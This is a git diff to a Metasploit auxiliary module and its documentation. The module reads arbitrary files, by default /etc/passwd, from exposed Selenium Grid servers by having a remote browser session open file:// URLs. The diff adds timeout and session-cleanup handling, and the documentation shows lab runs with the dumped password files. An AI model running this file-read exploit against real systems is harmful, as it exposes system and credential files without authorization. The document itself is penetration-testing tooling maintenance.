diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md index 49df29739442..d066ecfe7a11 100644 --- a/documentation/modules/auxiliary/gather/selenium_file_read.md +++ b/documentation/modules/auxiliary/gather/selenium_file_read.md @@ -47,6 +47,11 @@ This is the file to read. Default is `/etc/passwd`. This is the browser to use. Default is `firefox`. +### TIMEOUT (required) + +This is the amount of time (in seconds) that the module will wait for the payload to be +executed. Defaults to 75 seconds. + ## Scenarios ### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 @@ -65,6 +70,7 @@ Module options (auxiliary/gather/selenium_file_read): RPORT 4444 yes The target port (TCP) SCHEME file yes The scheme to use SSL false no Negotiate SSL/TLS for outgoing connections + TIMEOUT 75 yes Timeout for exploit (seconds) VHOST no HTTP server virtual host @@ -74,6 +80,7 @@ msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 3.141.59 detected +[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -102,6 +109,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` @@ -110,7 +118,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -138,6 +147,7 @@ messagebus:x:103:104::/nonexistent:/usr/sbin/nologin rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` @@ -146,7 +156,8 @@ pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -175,6 +186,7 @@ messagebus:x:104:105::/nonexistent:/usr/sbin/nologin rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` @@ -183,7 +195,8 @@ pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -209,15 +222,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. [*] Auxiliary module execution completed ``` ### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4449 browser=chrome +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (363b104ba9d167f434518d3eb1add0c6). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -243,15 +258,17 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +[*] Deleted session (363b104ba9d167f434518d3eb1add0c6). [*] Auxiliary module execution completed ``` ### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 ``` -msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4450 browser=MicrosoftEdge +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge [*] Running module against 192.168.56.16 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. Selenium Grid version 4.x detected and ready. +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5). [+] /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin @@ -277,5 +294,6 @@ systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5). [*] Auxiliary module execution completed ``` diff --git a/modules/auxiliary/gather/selenium_file_read.rb b/modules/auxiliary/gather/selenium_file_read.rb index d57890a2775a..96021c92dfb0 100644 --- a/modules/auxiliary/gather/selenium_file_read.rb +++ b/modules/auxiliary/gather/selenium_file_read.rb @@ -52,38 +52,45 @@ def initialize(info = {}) OptString.new('SCHEME', [true, 'The scheme to use', 'file']), OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']), OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]), + OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]), ] ) end def check - res = send_request_cgi({ + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) - if res&.code != 200 - res = send_request_cgi({ + if v3res&.code != 200 + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'status') }) - if res && res.get_json_document && res.get_json_document.include?('value') && - res.get_json_document['value'].include?('message') - if res.get_json_document['value']['message'] == 'Selenium Grid ready.' - return Exploit::CheckCode::Appears('Selenium Grid version 4.x detected and ready.') - elsif res.get_json_document['value']['message'].downcase.include?('selenium grid') + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') end end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Unknown('Unexpected server reply.') end - js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } - return Exploit::CheckCode::Unknown unless js_code + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] - json_data = JSON.parse(json_str) - return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version'] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] # Extract the version version = Rex::Version.new(json_data['version']) @@ -117,12 +124,14 @@ def run ] } }) - }) - fail_with(Failure::Unknown, 'Connection failed.') unless res + }, datastore['TIMEOUT']) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] fail_with(Failure::Unknown, 'Failed to start session.') unless session_id + print_status("Started session (#{session_id}).") + # driver.get('file://%s' % [FILEPATH]) res = send_request_cgi({ 'method' => 'POST', @@ -143,11 +152,19 @@ def run print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}") # End session - send_request_cgi({ + # This may take some time (about 5 minutes or so), so no timeout is set here. + res = send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } }) + if res + print_status("Deleted session (#{session_id}).") + else + print_status("Failed to delete the session (#{session_id}). "\ + 'You may need to wait for the session to expire (default: 5 minutes) or '\ + 'manually delete the session for the next exploit to succeed.') + end end end